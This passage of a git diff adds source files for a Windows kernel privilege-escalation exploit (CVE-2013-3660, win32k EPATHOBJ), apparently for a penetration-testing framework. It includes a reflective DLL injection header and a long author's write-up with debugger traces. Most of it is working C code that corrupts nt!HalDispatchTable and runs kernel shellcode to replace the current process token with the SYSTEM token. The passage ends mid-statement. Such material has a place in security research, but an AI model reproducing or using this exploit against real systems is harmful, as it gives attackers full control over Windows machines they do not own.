*PRTL_PROCESS_MODULES; + +FARPROC NtQuerySystemInformation; +FARPROC NtQueryIntervalProfile; +FARPROC PsReferencePrimaryToken; +FARPROC PsLookupProcessByProcessId; +PULONG HalDispatchTable; +ULONG HalQuerySystemInformation; +PULONG TargetPid; +PVOID *PsInitialSystemProcess; + +VOID elevator_complex_path(); + +//#define DEBUGTRACE 1 + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +#else +#define dprintf(...) do{}while(0); +#endif + +static void real_dprintf(char *format, ...) { + va_list args; + char buffer[1024]; + va_start(args,format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..5738497f5b --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..547fd1fd85 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c @@ -0,0 +1,801 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. +//===============================================================================================// + +#include "ReflectiveLoader.h" +#include "ComplexPath.h" + +// +// -------------------------------------------------- +// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit +// ----------------------------------------- taviso@cmpxchg8b.com ----- +// +// INTRODUCTION +// +// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the +// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the +// next list pointer. The bug is really nice, but exploitation when +// allocations start failing is tricky. +// +// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, +// PATHRECORD **pppr, +// ULONG *pcMax, +// ULONG cNeeded) +// .text:BFA122CA mov esi, [ebp+ppr] +// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] +// .text:BFA122D0 push edi +// .text:BFA122D1 mov edi, [ebp+pprNew] +// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax +// .text:BFA122D7 lea eax, [edi+PATHRECORD.count] +// .text:BFA122DA xor edx, edx +// .text:BFA122DC mov [eax], edx +// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] +// .text:BFA122E1 and ecx, not (PD_BEZIER) +// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx +// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax +// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx +// .text:BFA122ED jnz short loc_BFA122F7 +// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] +// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi +// +// It turns out this mostly works because newpathrec() is backed by newpathalloc() +// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. +// +// ; PVOID __stdcall PALLOCMEM(size_t size, int tag) +// .text:BF9160D7 xor esi, esi +// .text:BF9160DE push esi +// .text:BF9160DF push esi +// .text:BF9160E0 push [ebp+tag] +// .text:BF9160E3 push [ebp+size] +// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x) +// .text:BF9160EB mov esi, eax +// .text:BF9160ED test esi, esi +// .text:BF9160EF jz short loc_BF9160FF +// .text:BF9160F1 push [ebp+size] ; size_t +// .text:BF9160F4 push 0 ; int +// .text:BF9160F6 push esi ; void * +// .text:BF9160F7 call _memset +// +// However, the PATHALLOC allocator includes it's own freelist implementation, and +// if that codepath can satisfy a request the memory isn't zeroed and returned +// directly to the caller. This effectively means that we can add our own objects +// to the PATHRECORD chain. +// +// We can force this behaviour under memory pressure relatively easily, I just +// spam HRGN objects until they start failing. This isn't super reliable, but it's +// good enough for testing. +// +// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on +// // failure. Seriously, do some damn QA Microsoft, wtf. +// for (Size = 1 << 26; Size; Size >>= 1) { +// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) +// ; +// } +// +// Adding user controlled blocks to the freelist is a little trickier, but I've +// found that flattening large lists of bezier curves added with PolyDraw() can +// accomplish this reliably. The code to do this is something along the lines of: +// +// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { +// Points[PointNum].x = 0x41414141 >> 4; +// Points[PointNum].y = 0x41414141 >> 4; +// PointTypes[PointNum] = PT_BEZIERTO; +// } +// +// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { +// BeginPath(Device); +// PolyDraw(Device, Points, PointTypes, PointNum); +// EndPath(Device); +// FlattenPath(Device); +// FlattenPath(Device); +// EndPath(Device); +// } +// +// We can verify this is working by putting a breakpoint after newpathrec, and +// verifying the buffer is filled with recognisable values when it returns: +// +// kd> u win32k!EPATHOBJ::pprFlattenRec+1E +// win32k!EPATHOBJ::pprFlattenRec+0x1e: +// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) +// 95c922bd 83f801 cmp eax,1 +// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) +// 95c922c2 33c0 xor eax,eax +// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) +// 95c922c9 56 push esi +// 95c922ca 8b7508 mov esi,dword ptr [ebp+8] +// 95c922cd 8b4604 mov eax,dword ptr [esi+4] +// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" +// kd> g +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// +// The breakpoint dumps the first dword of the returned buffer, which matches the +// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move +// EPATHOBJ->records->head->next->next into userspace is no problem, and we can +// easily break the list traversal in bFlattten(): +// +// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) +// { +// EPATHOBJ *pathobj; // esi@1 +// PATHOBJ *ppath; // eax@1 +// BOOL result; // eax@2 +// PATHRECORD *ppr; // eax@3 +// +// pathobj = this; +// ppath = this->ppath; +// if ( ppath ) +// { +// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) +// { +// if ( ppr->flags & PD_BEZIER ) +// { +// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); +// if ( !ppr ) +// goto LABEL_2; +// } +// } +// pathobj->fl &= 0xFFFFFFFE; +// result = 1; +// } +// else +// { +// LABEL_2: +// result = 0; +// } +// return result; +// } +// +// All we have to do is allocate our own PATHRECORD structure, and then spam +// PolyDraw() with POINTFIX structures containing co-ordinates that are actually +// pointers shifted right by 4 (for this reason the structure must be aligned so +// the bits shifted out are all zero). +// +// We can see this in action by putting a breakpoint in bFlatten when ppr has +// moved into userspace: +// +// kd> u win32k!EPATHOBJ::bFlatten +// win32k!EPATHOBJ::bFlatten: +// 95c92517 8bff mov edi,edi +// 95c92519 56 push esi +// 95c9251a 8bf1 mov esi,ecx +// 95c9251c 8b4608 mov eax,dword ptr [esi+8] +// 95c9251f 85c0 test eax,eax +// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) +// 95c92523 33c0 xor eax,eax +// 95c92525 5e pop esi +// kd> u +// win32k!EPATHOBJ::bFlatten+0xf: +// 95c92526 c3 ret +// 95c92527 8b4014 mov eax,dword ptr [eax+14h] +// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) +// 95c9252c f6400810 test byte ptr [eax+8],10h +// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) +// 95c92532 50 push eax +// 95c92533 8bce mov ecx,esi +// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) +// +// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS +// flags (defined in winddi.h). Let's break if it's in userspace: +// +// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" +// kd> g +// 95c9252c f6400810 test byte ptr [eax+8],10h +// kd> r +// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d +// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc +// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 +// win32k!EPATHOBJ::bFlatten+0x15: +// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? +// +// The question is how to turn that into code execution? It's obviously trivial to +// call prFlattenRec with our userspace PATHRECORD..we can do that by setting +// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure +// poses a problem. +// +// Let me demonstrate calling it with my own PATHRECORD: +// +// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ +// // pathrecord chain. +// PathRecord = VirtualAlloc(NULL, +// sizeof(PATHRECORD), +// MEM_COMMIT | MEM_RESERVE, +// PAGE_EXECUTE_READWRITE); +// +// // Initialise with recognisable debugging values. +// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); +// +// PathRecord->next = (PVOID)(0x41414141); +// PathRecord->prev = (PVOID)(0x42424242); +// +// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from +// // EPATHOBJ::bFlatten(), do that here. +// PathRecord->flags = PD_BEZIERS; +// +// // Generate a large number of Bezier Curves made up of pointers to our +// // PATHRECORD object. +// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { +// Points[PointNum].x = (ULONG)(PathRecord) >> 4; +// Points[PointNum].y = (ULONG)(PathRecord) >> 4; +// PointTypes[PointNum] = PT_BEZIERTO; +// } +// +// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" +// kd> g +// win32k!EPATHOBJ::pprFlattenRec+0x28: +// 95c922c2 33c0 xor eax,eax +// kd> dd ebp+8 L1 +// a3633be0 00130000 +// +// The ppr object is in userspace! If we peek at it: +// +// kd> dd poi(ebp+8) +// 00130000 41414141 42424242 00000010 cccccccc +// 00130010 00000000 00000000 00000000 00000000 +// 00130020 00000000 00000000 00000000 00000000 +// 00130030 00000000 00000000 00000000 00000000 +// 00130040 00000000 00000000 00000000 00000000 +// 00130050 00000000 00000000 00000000 00000000 +// 00130060 00000000 00000000 00000000 00000000 +// 00130070 00000000 00000000 00000000 00000000 +// +// There's the next and prev pointer. +// +// kd> kvn +// # ChildEBP RetAddr Args to Child +// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) +// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) +// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) +// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) +// +// The question is how to get PATHALLOC() to succeed under memory pressure so we +// can make this exploitable? I'm quite proud of this list cycle trick, +// here's how to turn it into an arbitrary write. +// +// First, we create a watchdog thread that will patch the list atomically +// when we're ready. This is needed because we can't exploit the bug while +// HeavyAllocPool is failing, because of the early exit in pprFlattenRec: +// +// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) +// .text:BFA122BD cmp eax, 1 ; Check for failure +// .text:BFA122C0 jz short continue +// .text:BFA122C2 xor eax, eax ; Exit early +// .text:BFA122C4 jmp early_exit +// +// So we create a list node like this: +// +// PathRecord->Next = PathRecord; +// PathRecord->Flags = 0; +// +// Then EPATHOBJ::bFlatten() spins forever doing nothing: +// +// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) +// { +// /* ... */ +// +// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) +// { +// if ( ppr->flags & PD_BEZIER ) +// { +// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); +// } +// } +// +// /* ... */ +// } +// +// While it's spinning, we clean up in another thread, then patch the thread (we +// can do this, because it's now in userspace) to trigger the exploit. The first +// block of pprFlattenRec does something like this: +// +// if ( pprNew->pprPrev ) +// pprNew->pprPrev->pprnext = pprNew; +// +// Let's make that write to 0xCCCCCCCC. +// +// DWORD WINAPI WatchdogThread(LPVOID Parameter) +// { +// +// // This routine waits for a mutex object to timeout, then patches the +// // compromised linked list to point to an exploit. We need to do this. +// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p", +// GetCurrentThreadId(), +// Mutex); +// +// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { +// // It looks like the main thread is stuck in a call to FlattenPath(), +// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean +// // up, and then patch the list to trigger our exploit. +// while (NumRegion--) +// DeleteObject(Regions[NumRegion]); +// +// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); +// +// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); +// +// } else { +// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); +// } +// +// return 0; +// } +// +// PathRecord->next = PathRecord; +// PathRecord->prev = (PVOID)(0x42424242); +// PathRecord->flags = 0; +// +// ExploitRecord.next = NULL; +// ExploitRecord.prev = 0xCCCCCCCC; +// ExploitRecord.flags = PD_BEZIERS; +// +// Here's the output on Windows 8: +// +// kd> g +// ******************************************************************************* +// * * +// * Bugcheck Analysis * +// * * +// ******************************************************************************* +// +// Use !analyze -v to get detailed debugging information. +// +// BugCheck 50, {cccccccc, 1, 8f18972e, 2} +// *** WARNING: Unable to verify checksum for ComplexPath.exe +// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe +// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) +// +// Followup: MachineOwner +// --------- +// +// nt!RtlpBreakWithStatusInstruction: +// 810f46f4 cc int 3 +// kd> kv +// ChildEBP RetAddr Args to Child +// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) +// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) +// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) +// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 +// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 +// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 +// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) +// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) +// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) +// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) +// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) +// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) +// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) +// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) +// WARNING: Stack unwind information not available. Following frames may be wrong. +// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f +// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade +// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) +// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) +// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) +// kd> .trap a03aba2c +// ErrCode = 00000002 +// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 +// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc +// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 +// win32k!EPATHOBJ::pprFlattenRec+0x82: +// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? +// kd> vertarget +// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible +// Product: WinNt, suite: TerminalServer SingleUserTS +// Built by: 9200.16581.x86fre.win8_gdr.130410-1505 +// Machine Name: +// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 +// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) +// System Uptime: 0 days 0:02:30.432 +// kd> .bugcheck +// Bugcheck code 00000050 +// Arguments cccccccc 00000001 8f18972e 00000002 +// +// EXPLOITATION +// +// We're somewhat limited with what we can do, as we don't control what's +// written, it's always a pointer to a PATHRECORD object. We can clobber a +// function pointer, but the problem is making it point somewhere useful. +// +// The solution is to make the Next pointer a valid sequence of instructions, +// which jumps to our second stage payload. We have to do that in just 4 bytes +// (unless you can find a better call site, let me know if you spot one). +// +// Thanks to progmboy for coming up with the solution: you reach back up the +// stack and pull a SystemCall parameter out of the stack. It turns out +// NtQueryIntervalProfile matches this requirement perfectly. +// +// INSTRUCTIONS +// +// C:\> cl ComplexPath.c +// C:\> ComplexPath +// +// You might need to run it several times before we get the allocation we need, +// it won't crash if it doesn't work, so you can keep trying. I'm not sure how +// to improve that. +// +// CREDIT +// +// Tavis Ormandy +// progmboy +// + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +// Search the specified data structure for a member with CurrentValue. +BOOL FindAndReplaceMember(PDWORD Structure, + DWORD CurrentValue, + DWORD NewValue, + DWORD MaxSize) +{ + DWORD i, Mask; + + // Microsoft QWORD aligns object pointers, then uses the lower three + // bits for quick reference counting. + Mask = ~7; + + // Mask out the reference count. + CurrentValue &= Mask; + + // Scan the structure for any occurrence of CurrentValue. + for (i = 0; i < MaxSize; i++) { + if ((Structure[i] & Mask) == CurrentValue) { + // And finally, replace it with NewValue. + Structure[i] = NewValue; + return TRUE; + } + } + + // Member not found. + return FALSE; +} + + +// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. +ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) +{ + PVOID TargetProcess; + + // Record that the exploit completed. + ComplexPathFinished = 1; + + // Fix the corrupted HalDispatchTable, + HalDispatchTable[1] = HalQuerySystemInformation; + + // Find the EPROCESS structure for the process I want to escalate + if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { + PACCESS_TOKEN SystemToken; + PACCESS_TOKEN TargetToken; + + // Find the Token object for my target process, and the SYSTEM process. + TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); + SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); + + // Find the token in the target process, and replace with the system token. + FindAndReplaceMember((PDWORD) TargetProcess, + (DWORD) TargetToken, + (DWORD) SystemToken, + 0x200); + } + + return 0; +} + +DWORD WINAPI WatchdogThread(LPVOID Parameter) +{ + // Here we wait for the main thread to get stuck inside FlattenPath(). + WaitForSingleObject(Mutex, CYCLE_TIMEOUT); + + // It looks like we've taken control of the list, and the main thread + // is spinning in EPATHOBJ::bFlatten. We can't continue because + // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails. + + // So first, we clean up and make sure it can allocate memory. + while (ComplexPathNumRegion) DeleteObject(Regions[--ComplexPathNumRegion]); + + // Now we switch out the Next pointer for our exploit record. As soon + // as this completes, the main thread will stop spinning and continue + // into EPATHOBJ::pprFlattenRec. + InterlockedExchangePointer(&PathRecord->next, + &ExploitRecord); + return 0; +} + +// I use this routine to generate a table of acceptable stub addresses. The +// 0x40 offset is the location of the PULONG parameter to +// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever +// trick. +VOID __declspec(naked) HalDispatchRedirect(VOID) +{ + __asm inc eax + __asm jmp dword ptr [ebp+0x40]; // 0 + __asm inc ecx + __asm jmp dword ptr [ebp+0x40]; // 1 + __asm inc edx + __asm jmp dword ptr [ebp+0x40]; // 2 + __asm inc ebx + __asm jmp dword ptr [ebp+0x40]; // 3 + __asm inc esi + __asm jmp dword ptr [ebp+0x40]; // 4 + __asm inc edi + __asm jmp dword ptr [ebp+0x40]; // 5 + __asm dec eax + __asm jmp dword ptr [ebp+0x40]; // 6 + __asm dec ecx + __asm jmp dword ptr [ebp+0x40]; // 7 + __asm dec edx + __asm jmp dword ptr [ebp+0x40]; // 8 + __asm dec ebx + __asm jmp dword ptr [ebp+0x40]; // 9 + __asm dec esi + __asm jmp dword ptr [ebp+0x40]; // 10 + __asm dec edi + __asm jmp dword ptr [ebp+0x40]; // 11 + + // Mark end of table. + __asm { + _emit 0 + _emit 0 + _emit 0 + _emit 0 + } +} + +VOID elevator_complex_path() +{ + HANDLE Thread; + HDC Device; + ULONG Size; + ULONG PointNum; + HMODULE KernelHandle; + PULONG DispatchRedirect; + PULONG Interval; + ULONG SavedInterval; + RTL_PROCESS_MODULES ModuleInfo; + + LogMessage(L_INFO, "\r--------------------------------------------------\n" + "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" + "\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n" + "\n"); + NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); + NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); + Mutex = CreateMutex(NULL, FALSE, NULL); + DispatchRedirect = (PVOID) HalDispatchRedirect; + Interval = (PULONG) ShellCode; + SavedInterval = Interval[0]; + //TargetPid = (PULONG)2032; + TargetPid = (PULONG)GetCurrentProcessId(); + + LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile); + LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation); + + // Lookup the address of system modules. + NtQuerySystemInformation(SystemModuleInformation, + &ModuleInfo, + sizeof ModuleInfo, + NULL); + + LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p", + ModuleInfo.Modules[0].FullPathName, + ModuleInfo.Modules[0].ImageBase); + + // Lookup some system routines we require. + KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); + HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; + PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; + PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; + PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; + + // Search for a ret instruction to install in the damaged HalDispatchTable. + HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) + - (ULONG) KernelHandle + + (ULONG) ModuleInfo.Modules[0].ImageBase; + + LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); + + // Create our PATHRECORD in user space we will get added to the EPATHOBJ + // pathrecord chain. + PathRecord = VirtualAlloc(NULL, + sizeof *PathRecord, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + + LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord); + + // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from + // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite + // loop in EPATHOBJ::bFlatten(). + PathRecord->flags = 0; + PathRecord->next = PathRecord; + PathRecord->prev = (PPATHRECORD)(0x42424242); + + LogMessage(L_INFO, " ->next @ %p", PathRecord->next); + LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); + LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); + + // Now we need to create a PATHRECORD at an address that is also a valid + // x86 instruction, because the pointer will be interpreted as a function. + // I've created a list of candidates in DispatchRedirect. + LogMessage(L_INFO, "Searching for an available stub address..."); + + // I need to map at least two pages to guarantee the whole structure is + // available. + while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), + PAGE_SIZE * 2, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE)) { + + LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", + *DispatchRedirect & ~(PAGE_SIZE - 1), + GetLastError()); + + // This page is not available, try the next candidate. + if (!*++DispatchRedirect) { + LogMessage(L_ERROR, "No redirect candidates left, sorry!"); + return; + } + } + + LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect); + + // This PATHRECORD must terminate the list and recover. + ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; + ExploitRecordExit->next = NULL; + ExploitRecordExit->prev = NULL; + ExploitRecordExit->flags = PD_BEGINSUBPATH; + ExploitRecordExit->count = 0; + + LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); + LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); + LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); + + // This is the second stage PATHRECORD, which causes a fresh PATHRECORD + // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will + // be copied over to the new record. Therefore, we get + // + // nt!HalDispatchTable[1] = &ExploitRecordExit. + // + // So we make &ExploitRecordExit a valid sequence of instuctions here. + LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord); + + ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; + ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; + ExploitRecord.flags = PD_BEZIERS | 